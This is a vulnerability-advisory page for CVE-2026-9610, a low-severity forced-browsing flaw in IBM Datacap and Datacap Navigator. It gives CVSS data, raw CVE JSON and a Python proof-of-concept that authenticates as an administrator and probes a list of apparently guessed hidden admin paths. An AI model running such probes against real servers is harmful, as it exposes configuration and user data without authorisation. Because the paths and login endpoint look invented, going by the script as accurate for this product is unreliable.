Security Vulnerability Report
中文
CVE-2026-9610 CVSS 2.3 LOW

CVE-2026-9610

Published: 2026-06-22 16:16:44
Last Modified: 2026-06-22 18:16:53

Description

IBM Datacap 9.1.7, 9.1.8, and 9.1.9 and IBM Datacap Navigator 9.1.7, 9.1.8, and 9.1.9 exposes resources or functionality that isn't linked in the UI but is accessible by directly requesting the URL, bypassing intended access controls.

CVSS Details

CVSS Score
2.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

IBM Datacap 9.1.7
IBM Datacap 9.1.8
IBM Datacap 9.1.9
IBM Datacap Navigator 9.1.7
IBM Datacap Navigator 9.1.8
IBM Datacap Navigator 9.1.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9610 PoC - IBM Datacap Forced Browsing / Unauthorized Resource Access # Vulnerability: Exposed resources accessible via direct URL request, bypassing access controls # Affected: IBM Datacap 9.1.7, 9.1.8, 9.1.9 / IBM Datacap Navigator 9.1.7, 9.1.8, 9.1.9 # CVSS: 2.3 (LOW) | AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N import requests from urllib.parse import urljoin # Configuration TARGET_HOST = "https://target-datacap-server.example.com" ADMIN_USER = "admin" ADMIN_PASS = "password123" # Requires high-privilege credentials (PR:H) # Common hidden resource paths in IBM Datacap / Datacap Navigator HIDDEN_PATHS = [ "/admin/config", "/admin/systemSettings", "/dco/config", "/navigator/admin", "/datacap/internal/api", "/admin/users", "/dco/backup", "/admin/diagnostics", "/navigator/config", "/admin/logs", "/dco/rules", "/admin/security", "/navigator/internal", "/datacap/admin/dashboard", "/dco/admin/tasks" ] def exploit_forced_browsing(target_host, credentials, paths): """ Exploit CVE-2026-9610 by directly requesting URLs that are not linked in the UI but are accessible on the server, bypassing intended access controls. """ session = requests.Session() # Step 1: Authenticate with high-privilege credentials login_url = urljoin(target_host, "/auth/login") auth_payload = { "username": credentials["user"], "password": credentials["pass"] } print(f"[*] Authenticating to {target_host}...") resp = session.post(login_url, data=auth_payload, verify=False) if resp.status_code == 200: print(f"[+] Authentication successful") else: print(f"[-] Authentication failed: {resp.status_code}") return # Step 2: Enumerate and access hidden resources via direct URL requests print(f"\n[*] Probing {len(paths)} hidden resource paths...") print("-" * 60) accessible_resources = [] for path in paths: url = urljoin(target_host, path) try: resp = session.get(url, allow_redirects=False, timeout=10) # Check if resource is accessible (not 404, 403, or redirect to login) if resp.status_code == 200 and len(resp.content) > 0: print(f"[+] ACCESSIBLE: {path} (Status: {resp.status_code}, Size: {len(resp.content)} bytes)") accessible_resources.append({ "url": url, "status": resp.status_code, "size": len(resp.content), "content_preview": resp.text[:200] }) elif resp.status_code == 403: print(f"[-] FORBIDDEN: {path} (Status: 403)") elif resp.status_code == 404: print(f"[?] NOT FOUND: {path} (Status: 404)") else: print(f"[?] UNKNOWN: {path} (Status: {resp.status_code})") except requests.exceptions.RequestException as e: print(f"[!] ERROR: {path} - {str(e)}") # Step 3: Report findings print("\n" + "=" * 60) print(f"[RESULTS] {len(accessible_resources)} accessible hidden resources found") print("=" * 60) for resource in accessible_resources: print(f"\nURL: {resource['url']}") print(f"Status: {resource['status']}") print(f"Content Preview: {resource['content_preview']}...") return accessible_resources if __name__ == "__main__": credentials = {"user": ADMIN_USER, "pass": ADMIN_PASS} results = exploit_forced_browsing(TARGET_HOST, credentials, HIDDEN_PATHS) # Note: This vulnerability requires high-privilege access (PR:H). # The risk is primarily from insider threats or post-compromise scenarios # where an attacker has already obtained administrative credentials. # Impact: Confidentiality Low (C:L), Integrity None (I:N), Availability None (A:N)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9610", "sourceIdentifier": "[email protected]", "published": "2026-06-22T16:16:43.770", "lastModified": "2026-06-22T18:16:52.643", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Datacap 9.1.7, 9.1.8, and 9.1.9 and IBM Datacap Navigator 9.1.7, 9.1.8, and 9.1.9 exposes resources or functionality that isn't linked in the UI but is accessible by directly requesting the URL, bypassing intended access controls."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "IBM", "product": "Datacap", "cpes": ["cpe:2.3:a:ibm:datacap:9.1.7:*:*:*:*:*:*:*", "cpe:2.3:a:ibm:datacap:9.1.8:*:*:*:*:*:*:*", "cpe:2.3:a:ibm:datacap:9.1.9:*:*:*:*:*:*:*"], "versions": [{"version": "9.1.7", "lessThanOrEqual": "1.8.4", "versionType": "semver", "status": "affected"}, {"version": "9.1.8", "versionType": "semver", "status": "affected"}, {"version": "9.1.9", "versionType": "semver", "status": "affected"}]}, {"vendor": "IBM", "product": "Datacap Navigator", "cpes": ["cpe:2.3:a:ibm:datacap_navigator:9.1.7:*:*:*:*:*:*:*", "cpe:2.3:a:ibm:datacap_navigator:9.1.8:*:*:*:*:*:*:*", "cpe:2.3:a:ibm:datacap_navigator:9.1.9:*:*:*:*:*:*:*"], "versions": [{"version": "9.1.7", "lessThanOrEqual": "8.2.1.0", "versionType": "semver", "status": "affected"}, {"version": "9.1.8", "status": "affected"}, {"version": "9.1.9", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 1.4}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-22T15:57:54.703425Z", "id": "CVE-2026-9610", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-425"}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7276609", "source": "[email protected]"}]}}